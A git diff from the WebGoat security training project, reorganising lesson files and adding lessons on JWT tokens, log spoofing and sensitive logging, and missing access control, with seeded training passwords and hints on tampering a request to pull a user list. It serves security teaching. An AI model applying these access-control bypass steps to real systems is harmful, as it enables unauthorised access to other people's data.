- \ No newline at end of file + diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties similarity index 97% rename from webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties index 92cad6316..70ac7a4a1 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties @@ -18,7 +18,7 @@ jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat jwt-refresh-hint1=Look at the access log you will find a token there jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? -jwt-refresh-hint3=The endpoint for refreshing a token is 'jwt/refresh/newToken' +jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken' jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token jwt-refresh-not-tom=User is not Tom but {0}, please try again diff --git a/src/main/resources/lessons/jwt/images/challenge1-small.png b/src/main/resources/lessons/jwt/images/challenge1-small.png new file mode 100644 index 000000000..a4fbc3470 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge1-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge2-small.png b/src/main/resources/lessons/jwt/images/challenge2-small.png new file mode 100644 index 000000000..777b5a093 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge2-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge3-small.png b/src/main/resources/lessons/jwt/images/challenge3-small.png new file mode 100644 index 000000000..daf7f7ebb Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge3-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge4-small.png b/src/main/resources/lessons/jwt/images/challenge4-small.png new file mode 100644 index 000000000..b9ddaa7e7 Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge4-small.png differ diff --git a/src/main/resources/lessons/jwt/images/challenge5-small.png b/src/main/resources/lessons/jwt/images/challenge5-small.png new file mode 100644 index 000000000..1aa84ab4c Binary files /dev/null and b/src/main/resources/lessons/jwt/images/challenge5-small.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/jerry.png b/src/main/resources/lessons/jwt/images/jerry.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/jerry.png rename to src/main/resources/lessons/jwt/images/jerry.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png b/src/main/resources/lessons/jwt/images/jwt_diagram.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png rename to src/main/resources/lessons/jwt/images/jwt_diagram.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png b/src/main/resources/lessons/jwt/images/jwt_token.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/jwt_token.png rename to src/main/resources/lessons/jwt/images/jwt_token.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/logs.txt b/src/main/resources/lessons/jwt/images/logs.txt similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/logs.txt rename to src/main/resources/lessons/jwt/images/logs.txt diff --git a/webgoat-lessons/jwt/src/main/resources/images/product-icon.png b/src/main/resources/lessons/jwt/images/product-icon.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/product-icon.png rename to src/main/resources/lessons/jwt/images/product-icon.png diff --git a/webgoat-lessons/jwt/src/main/resources/images/tom.png b/src/main/resources/lessons/jwt/images/tom.png similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/images/tom.png rename to src/main/resources/lessons/jwt/images/tom.png diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js b/src/main/resources/lessons/jwt/js/jwt-buy.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js rename to src/main/resources/lessons/jwt/js/jwt-buy.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js b/src/main/resources/lessons/jwt/js/jwt-final.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-final.js rename to src/main/resources/lessons/jwt/js/jwt-final.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js b/src/main/resources/lessons/jwt/js/jwt-refresh.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js rename to src/main/resources/lessons/jwt/js/jwt-refresh.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js b/src/main/resources/lessons/jwt/js/jwt-voting.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js rename to src/main/resources/lessons/jwt/js/jwt-voting.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-weak-keys.js b/src/main/resources/lessons/jwt/js/jwt-weak-keys.js similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/jwt-weak-keys.js rename to src/main/resources/lessons/jwt/js/jwt-weak-keys.js diff --git a/webgoat-lessons/jwt/src/main/resources/js/questions_jwt.json b/src/main/resources/lessons/jwt/js/questions_jwt.json similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/questions_jwt.json rename to src/main/resources/lessons/jwt/js/questions_jwt.json diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/db/migration/V2019_11_10_1__introduction.sql b/src/main/resources/lessons/lessontemplate/db/migration/V2019_11_10_1__introduction.sql similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/db/migration/V2019_11_10_1__introduction.sql rename to src/main/resources/lessons/lessontemplate/db/migration/V2019_11_10_1__introduction.sql diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-attack.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-attack.adoc similarity index 75% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-attack.adoc rename to src/main/resources/lessons/lessontemplate/documentation/lesson-template-attack.adoc index 9cb035b1f..2be501c4f 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-attack.adoc +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-attack.adoc @@ -1,6 +1,6 @@ === Step 4: Add an assignment to your lesson -With an assignment a user can practise within a lesson. A lesson can consist of multiple assignment, each assignment +With an assignment, a user can practice within a lesson. A lesson can consist of multiple assignments, each assignment needs to extend the class `AssignmentEndpoint`, let's look at an example: [source,java] @@ -22,7 +22,7 @@ public class SampleAttack extends AssignmentEndpoint { // <3> //return failed(this).feedback("lesson-template.sample-attack.failure-2").build(); } - //overly simple example for success. See other existing lesssons for ways to detect 'success' or 'failure' + //overly simple example for success. See other existing lessons for ways to detect 'success' or 'failure' if (secretValue.equals(param1)) { return success(this) // <7> .output("Custom Output ...if you want, for success") @@ -39,15 +39,17 @@ public class SampleAttack extends AssignmentEndpoint { // <3> } ---- <1> Every assignment is just a Spring RestController -<2> Each assignment can have a list of hints, the actual text needs to be placed in `WebGoatLabels.properties` -<3> Each assignment needs to extend the class `AssignmentEndpoint` giving you some helpful methods you need when you want to mark an assignment as complete -<4> As the assignment is a Spring based class you can autowire every component managed by Spring necessary for the assignment +<2> Each assignment can have a list of hints. The actual text needs to be placed in `WebGoatLabels.properties` in the folder `src/main/resources/{lessonName}/i18n` +<3> Each assignment needs to extend the class `AssignmentEndpoint`, giving you some helpful methods you need when you want to mark an assignment as complete +<4> As the assignment is a Spring-based class, you can auto wire every component managed by Spring necessary for the assignment <5> Each assignment should at least have one mapping with the method signature (see 6) -<6> When the user tries to solve an assignment you need return an `AttackResult` +<6> When the user tries to solve an assignment, you need return an `AttackResult` <7> Returning a successful attack result when user solved the lesson <8> Returning a failed attack user did not solve the lesson -As you can see an assignment is a REST controller which need to at least have one method with the following signature: +{nbsp} + + +As you can see, an assignment is a REST controller which needs to at least have one method with the following signature: [source] ---- @@ -71,11 +73,11 @@ public List getItemsInBasket(@PathVariable("user") String user) { } ---- -=== Adding an assignment to the html page +=== Adding an assignment to the HTML page -We mentioned a lesson can consist of multiple assignments, WebGoat picks them up automatically and the UI displays -a navigation bar on top of every lesson. A page with an assignment will be red in the beginning and will become -green when the user solves the assignment. To make this work in the html we need to add: +We mentioned a lesson could consist of multiple assignments, WebGoat picks them up automatically, and the UI displays +a navigation bar on top of every lesson. A page with an assignment will be red initially and will become +green when the user solves the assignment. To make this work we need to add to the HTML file: [source] ---- @@ -106,4 +108,4 @@ green when the user solves the assignment. To make this work in the html we need So the `action` of the form should match the method which defines the check if the lesson has been solved or not see `public AttackResult solved()` -That's it you now successfully created your first WebGoat lesson including an assignment! \ No newline at end of file +That's it. You have now successfully created your first WebGoat lesson, including an assignment! diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-content.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-content.adoc new file mode 100644 index 000000000..660802d34 --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-content.adoc @@ -0,0 +1,36 @@ +== Step 1: writing content + +Each lesson can consist of multiple pages with content (text) to explain the vulnerability at hand. The content +is written in AsciiDoc[https://asciidoctor.org/docs/asciidoc-writers-guide/] which makes it very easy to write content (if you know Markdown, you know AsciiDoc). + +You can find excellent tutorials online for the AsciiDoc syntax. We are just showing a basic overview below. +Below we will describe some constructs often used within WebGoat. + +=== Sub-heading + +Check AsciiDoc for syntax, but more = means smaller headings. You can *bold* text and other things. + +=== Structuring files + +You should set up all content to these *.adoc files. The AsciiDoc files reside in the +directory `/src/main/resources/{lesson}/documentation/`. + +=== Images + +Images can be referenced below, including setting style (recommended to use lesson-image as the style). The root is `/src/main/resources/{lesson}/images` + +image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"] + +=== Code block + +Write code blocks as follows: + +``` +[source] +---- +public class A { + + private String test; +} +---- +``` diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-database.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-database.adoc similarity index 72% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-database.adoc rename to src/main/resources/lessons/lessontemplate/documentation/lesson-template-database.adoc index 996991947..cb70fa4b7 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-database.adoc +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-database.adoc @@ -1,8 +1,8 @@ === Database -If the new lesson needs to store or use a database you can add a create script in the directory `{lesson}/src/main/resources/db/migration` folder. +If the new lesson needs to store or uses a database, you can add a create script in the directory `/src/main/resources/{lesson}/db/migration` folder. The file name needs to follow a specific convention: `V2019_11_10_1__new-lesson.sql`, so the first part is just the current date. -In this file you can for example create tables and insert some data, for example: +In this file, you can for example, create tables and insert some data, for example: [source] ---- @@ -22,4 +22,4 @@ INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34 INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); ---- -Using this way to create a database will allow WebGoat to automatically reset the database to its original state. \ No newline at end of file +Creating a database will automatically allow WebGoat to reset the database to its original state. diff --git a/src/main/resources/lessons/lessontemplate/documentation/lesson-template-glue.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-glue.adoc new file mode 100644 index 000000000..7fbddf68c --- /dev/null +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-glue.adoc @@ -0,0 +1,34 @@ +=== Step 3: Write glue html page + +We mentioned a lesson could consist of multiple assignments, WebGoat picks them up automatically, and the UI displays +a navigation bar on top of every lesson. A page with an assignment will be red initially and will become +green when the user solves the assignment. To make this work we need to add: + +[source] +---- + + +
+
+
+
+
+
+
+
+
+ +---- + +This file needs to be places in: `/src/main/resources/{lesson}/html/`. The name of the file should be the same as +the Java class we created in step 2. + +The snippet above will create three separate pages (navigation bar) with the adoc pages we created to create this lesson. + +That's it we create a basic lesson with only content. To make it all work, you need to make the lesson available in +WebGoat. + +That's it. Start WebGoat, and your lesson will appear in the menu. diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-intro.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-intro.adoc similarity index 50% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-intro.adoc rename to src/main/resources/lessons/lessontemplate/documentation/lesson-template-intro.adoc index 441ce0aaa..422705a5a 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-intro.adoc +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-intro.adoc @@ -1,8 +1,8 @@ -This lesson describes the steps needed to add a new lesson to WebGoat. In general there are four steps: +This lesson describes the steps needed to add a new lesson to WebGoat. In general, there are four steps: -- Write the content, in WebGoat we use AsciiDoc as a format. +- Write the content. In WebGoat, we use AsciiDoc as a format. - Create a lesson class -- Write html glue page so WebGoat knows how the content should be displayed +- Write HTML glue page, so WebGoat knows how to display the content - Add one or more assignments within the lesson Let's see how to create a new lesson. diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-lesson-class.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-lesson-class.adoc similarity index 65% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-lesson-class.adoc rename to src/main/resources/lessons/lessontemplate/documentation/lesson-template-lesson-class.adoc index 178b6b138..3ee6d8395 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-lesson-class.adoc +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-lesson-class.adoc @@ -1,6 +1,6 @@ === Step 2: adding a new lesson class -Each lesson can contain multiple assignments, first let's define a lesson class in Java +Each lesson can contain multiple assignments, first. Let's define a lesson class in Java: [source] ---- @@ -18,3 +18,4 @@ public class LessonTemplate extends Lesson { } ---- +Add the new lesson to a new package under `org.owasp.webgoat.lessons`. diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video-more.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video-more.adoc similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video-more.adoc rename to src/main/resources/lessons/lessontemplate/documentation/lesson-template-video-more.adoc diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video.adoc b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video.adoc similarity index 82% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video.adoc rename to src/main/resources/lessons/lessontemplate/documentation/lesson-template-video.adoc index 83831886f..105527d5a 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video.adoc +++ b/src/main/resources/lessons/lessontemplate/documentation/lesson-template-video.adoc @@ -1,7 +1,7 @@ === More Content, Video too ... -You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though. +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. video::video/sample-video.m4v[width=480,start=5] -see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax \ No newline at end of file +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/html/LessonTemplate.html b/src/main/resources/lessons/lessontemplate/html/LessonTemplate.html similarity index 79% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/html/LessonTemplate.html rename to src/main/resources/lessons/lessontemplate/html/LessonTemplate.html index 1444a8454..9b1c7557a 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/html/LessonTemplate.html +++ b/src/main/resources/lessons/lessontemplate/html/LessonTemplate.html @@ -4,38 +4,38 @@ -
+
-
+
-
+
-
+
-
+
-
+
-
+
@@ -71,7 +71,7 @@ see other lessons for other more complex examples -->
-
+
diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/lessontemplate/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/lessontemplate/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/images/firefox-proxy-config.png b/src/main/resources/lessons/lessontemplate/images/firefox-proxy-config.png similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/images/firefox-proxy-config.png rename to src/main/resources/lessons/lessontemplate/images/firefox-proxy-config.png diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/js/idor.js b/src/main/resources/lessons/lessontemplate/js/idor.js similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/js/idor.js rename to src/main/resources/lessons/lessontemplate/js/idor.js diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/video/sample-video.m4v b/src/main/resources/lessons/lessontemplate/video/sample-video.m4v similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/video/sample-video.m4v rename to src/main/resources/lessons/lessontemplate/video/sample-video.m4v diff --git a/src/main/resources/lessons/logging/documentation/logReading_Task.adoc b/src/main/resources/lessons/logging/documentation/logReading_Task.adoc new file mode 100644 index 000000000..bbff01af7 --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/logReading_Task.adoc @@ -0,0 +1,5 @@ +=== Let's try + +- Some servers provide Administrator credentials at the boot-up of the server. +- The goal of this challenge is to find the secret in the application log of the WebGoat server to login as the Admin user. +- Note that we tried to "protect" it. Can you decode it? \ No newline at end of file diff --git a/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc b/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc new file mode 100755 index 000000000..c1d11a2bc --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc @@ -0,0 +1,5 @@ +=== Let's try + +- The goal of this challenge is to make it look like username "admin" succeeded in logging in. +- The red area below shows what will be logged in the web server's log file. +- Want to go beyond? Try to elevate your attack by adding a script to the log file. diff --git a/src/main/resources/lessons/logging/documentation/logging_intro.adoc b/src/main/resources/lessons/logging/documentation/logging_intro.adoc new file mode 100755 index 000000000..3e35bf96e --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/logging_intro.adoc @@ -0,0 +1,13 @@ + +== Concept +Logging is very important for modern systems. We use it for various reasons: + +- Application monitoring and debugging. +- Audit logging: E.g. record specific actions of your users and systems. +- Security Event Monitoring: e.g. provide information to a SIEM or SOAR system that will trigger based on the information provided in these logs. + +== Goals +* The user should have a basic understanding of logging and where to log for. +* The user understands the risks of log spoofing and leaking log information. +* The user will be able to do a simple log spoofing attack. +* The user will be able to tell the basic risks involved in logging. diff --git a/src/main/resources/lessons/logging/documentation/more_logging.adoc b/src/main/resources/lessons/logging/documentation/more_logging.adoc new file mode 100644 index 000000000..e33639908 --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/more_logging.adoc @@ -0,0 +1,32 @@ +=== More About Logging (2) + +By now it should be clear that using simple encoding/decoding is not a way to protect sensitive information in a log. Instead, it is better to use different techniques: not logging the data at all, blanking it out, or encrypting it with another shared secret. + +There are a few more topics we might want to cover here: + +- How to work with log-levels +- How to do Exception Handling +- How to use logging for other purposes +- Some resources to read up on. + +==== Log Levels +Explain log levels + +==== Exception Handling + exception handling (maybe an example of logging exception towards the client with cryptography and why this is a bad idea) + + +==== Audit Logging, Security Event Monitoring, and Application Logs +Note that logging is often used for more than just application debugging. Application logs are often used as a feed for other purposes, think of: + + - *Audit logging*: Specific events need to be recorded by your application log to create a trail that can be used to reconstruct the actions done on behalf of/by your user. This can later be used, for instance, in court to prove what happened in case of a dispute. + - *Security Event Monitoring (SEM)*: Events generated by your application can often be used by your security department to understand what is going on in the application landscape of the organization. There are various types of events as well as various attributes that can play a role to detect whether the organization is in trouble. For instance: a privileged administrative logon that is only used as a break-glass procedure can already be a very valuable event for them. Another example: While frequently used administrative logons are good to record, they might not trigger an event at the security department by themselves, unless a completely different location is used for that administrative role. A threat model exercise with your security department can often help to understand which types of logs they require, and what they should trigger a security alert on immediately. + - *Fraud Detection*: your application logs can help in fraud detection. For instance: logs that show that someone is trying to move around more money than that they have, could indicate something is going wrong. + - *Business Process Monitoring*: your application logs can be used to see if the business processes are still progressing as they should. For instance: the lack of new events further down a process could indicate that the business process has stopped. This can be valuable information to the business when it comes to steering the company. + - *And many more*... + +Note that a lot of these logging purposes differ quite a lot from each other! Therefore it is best to separate your application (debug) logging, from your SEM, and audit logs in terms of output by your application, storage and processing of the logs within your organization. + +==== More reading + +- link:https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html[The OWASP Logging Cheat sheet] \ No newline at end of file diff --git a/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc b/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc new file mode 100644 index 000000000..31e01dfb4 --- /dev/null +++ b/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc @@ -0,0 +1,36 @@ +=== More About Logging + +As you can tell by now, log-spoofing can become an issue when users try to spoof logs. There are various ways to do this other than a form-post. Think of URL parameters or crafted JSON payloads for instance. Therefore, it is important to do + +- apply proper input-sanitization +- make sure you can establish source authenticity and implement integrity controls to detect log-tampering. +- make sure that a user cannot inject logs from any channel +- make sure that the log storage is protected + +But there is more to log security than just sanitization against spoofing attacks. Let's have a look at logging sensitive information. + +==== Logging Sensitive Information + +In the previous exercise, we saw only the username passing by, but no password. Why? Because we want to make sure that an application log does not contain any sensitive information. Let's make sure that when our logs get compromised, we do not have to fear authentication information to be reused. + +Similarly, we should not log any other sensitive information, such as symmetric or private keys, access tokens, and such. + +==== Logging Personal Information + +Be careful with logging personal information. For instance: do not log bank account details, personally identifiable information to which a user did not consent having it logged. Do not log facts that can establish the identity of the subject being logged. + +What you basically want to prevent, is that people use the logs to profile people or spy on them. You want to protect the privacy of the subjects using your system. + +===== Special case: Access Logs + +One special case is always the access logs offered by your ingress and/or application server. These logs should contain at least a few things: Where the request came from, when the request was made, and possibly what the response code was. Additional information can be shared in an access log, depending on the security of the log. For instance: you don't want to share the raw request in the access logs to safeguard the privacy of your users. + +And here the problem often starts: access logs sometimes capture the full URL used for the request. This can include sensitive URL parameters. Therefore: be careful with what you put in the URL as parameters & let's make sure that you do not log those in an openly accessible log. + + +==== Read more + +Want to read up on more about logging? Have a look at: + +- link:https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html[The OWASP Logging Cheat sheet] +- link:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation#Principles[GDPR article at Wikipedia] \ No newline at end of file diff --git a/src/main/resources/lessons/logging/html/LogSpoofing.html b/src/main/resources/lessons/logging/html/LogSpoofing.html new file mode 100755 index 000000000..68e49a064 --- /dev/null +++ b/src/main/resources/lessons/logging/html/LogSpoofing.html @@ -0,0 +1,55 @@ + + + + +
+ + +
+
+ +
+ +
+
+
+ + + + + + + +
+ Log output: +
Login failed for username:

+
+
+
+
+
+
+
+
+
+
+ + + + + +
+
+
+
+
+
+
+
+ diff --git a/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties b/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..3bb38d82c --- /dev/null +++ b/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties @@ -0,0 +1,2 @@ +logging.title=Logging Security + diff --git a/src/main/resources/lessons/missingac/css/ac.css b/src/main/resources/lessons/missingac/css/ac.css new file mode 100644 index 000000000..853250ac2 --- /dev/null +++ b/src/main/resources/lessons/missingac/css/ac.css @@ -0,0 +1,4 @@ +.hidden-menu-item { + display:none; + visibility:hidden; +} \ No newline at end of file diff --git a/src/main/resources/lessons/missingac/db/migration/V2021_11_03_1__ac.sql b/src/main/resources/lessons/missingac/db/migration/V2021_11_03_1__ac.sql new file mode 100644 index 000000000..7a7b09b58 --- /dev/null +++ b/src/main/resources/lessons/missingac/db/migration/V2021_11_03_1__ac.sql @@ -0,0 +1,9 @@ +CREATE TABLE access_control_users( + username varchar(40), + password varchar(40), + admin boolean +); + +INSERT INTO access_control_users VALUES ('Tom', 'qwertyqwerty1234', false); +INSERT INTO access_control_users VALUES ('Jerry', 'doesnotreallymatter', true); +INSERT INTO access_control_users VALUES ('Sylvester', 'testtesttest', false); diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-01-intro.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-01-intro.adoc new file mode 100644 index 000000000..4616d8bbe --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-01-intro.adoc @@ -0,0 +1,9 @@ +== Missing Function Level Access Control + +Access control, like preventing XSS with output encoding, can be tricky to maintain. One must ensure it is adequately enforced throughout the entire application, thus in every method/function. + +=== IDOR vs Missing Function Level Access Control + +The fact is many people (including the author of this lesson) would combine function level access control and IDOR into 'Access Control.' For the sake of OWASP Top 10 and these lessons, we will make a +distinction. The distinction most made is that IDOR is more of a 'horizontal' or 'lateral' access control issue, and missing function level access control 'exposes functionality.' Even though +the IDOR lesson here demonstrates how functionality may also be exposed (at least to another user in the same role), we will look at other ways functionality might be exposed. diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-02-client-controls.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-02-client-controls.adoc new file mode 100644 index 000000000..19a13c0e2 --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-02-client-controls.adoc @@ -0,0 +1,16 @@ +== Relying on obscurity + +One could rely on HTML, CSS, or javascript to hide links that users don't normally access. +In the past, a network router tried to protect (hide) admin functionality with javascript in the UI: https://www.wired.com/2009/10/routers-still-vulnerable. + +=== Finding hidden items + +There are usually hints to finding functionality the UI does not openly expose in: + +* HTML or javascript comments +* Commented out elements +* Items hidden via CSS controls/classes + +=== Your mission + +Find two invisible menu items in the menu below that are or would be of interest to an attacker/malicious user and submit the labels for those menu items (there are no links right now in the menus). \ No newline at end of file diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-03-users.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-03-users.adoc new file mode 100644 index 000000000..96afc21db --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-03-users.adoc @@ -0,0 +1,15 @@ +== Try it + +As the previous page described, sometimes applications rely on client-side controls to control access (obscurity). If you can find invisible items, try them and see what happens. Yes, it can be that simple! + +=== Gathering User Info + +Often data dumps originate from vulnerabilities such as SQL injection, but they can also come from poor or lacking access control. + +It will likely take multiple steps and multiple attempts to get this one: + +- Pay attention to the comments and leaked info. +- You'll need to do some guessing too. +- You may need to use another browser/account along the way. + +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry's account. \ No newline at end of file diff --git a/src/main/resources/lessons/missingac/documentation/missing-function-ac-04-users-fixed.adoc b/src/main/resources/lessons/missingac/documentation/missing-function-ac-04-users-fixed.adoc new file mode 100644 index 000000000..50f1af292 --- /dev/null +++ b/src/main/resources/lessons/missingac/documentation/missing-function-ac-04-users-fixed.adoc @@ -0,0 +1,5 @@ +== The company fixed the problem, right? + +The company found out the endpoint was a bit too open, they made an emergency fixed and not only admin users can list all users. + +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry's account. diff --git a/src/main/resources/lessons/missingac/html/MissingFunctionAC.html b/src/main/resources/lessons/missingac/html/MissingFunctionAC.html new file mode 100644 index 000000000..bb0d1d248 --- /dev/null +++ b/src/main/resources/lessons/missingac/html/MissingFunctionAC.html @@ -0,0 +1,115 @@ + + +
+
+
+ +
+ +
+ +
+ + +
+ +
+
+ +

Hidden item 1

+

Hidden item 2

+
+ + +
+ +
+
+
+ +
+ +
+ +
+ +
+
+
+ +

Your Hash:

+
+ + +
+ +
+
+
+ +
+ +
+ +
+ +
+
+
+ +

Your Hash:

+
+ + +
+ +
+
+
+ +
+ + diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/missingac/i18n/WebGoatLabels.properties similarity index 70% rename from webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/missingac/i18n/WebGoatLabels.properties index 4533fe073..f727c90ce 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/missingac/i18n/WebGoatLabels.properties @@ -11,15 +11,15 @@ access-control.hidden-menus.hint3=Look for something a super-user or administato access-control.hash.success=Congrats! You really succeeded when you added the user. access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help. -access-control.hash.hint1=There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request. -access-control.hash.hint2= If you haven't found the hidden menus from the earlier exercise, go do that first. -access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role. -access-control.hash.hint4=For the easy way, have you tried tampering the GET request? Different content-types? -access-control.hash.hint5=For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json' +access-control.hash.hint1=This assignment involves one simple change in a GET request. +access-control.hash.hint2=If you haven't found the hidden menus from the earlier exercise, go do that first. +access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role. +access-control.hash.hint4=Have you tried tampering the GET request? Different content-types? +access-control.hash.hint5=Modify 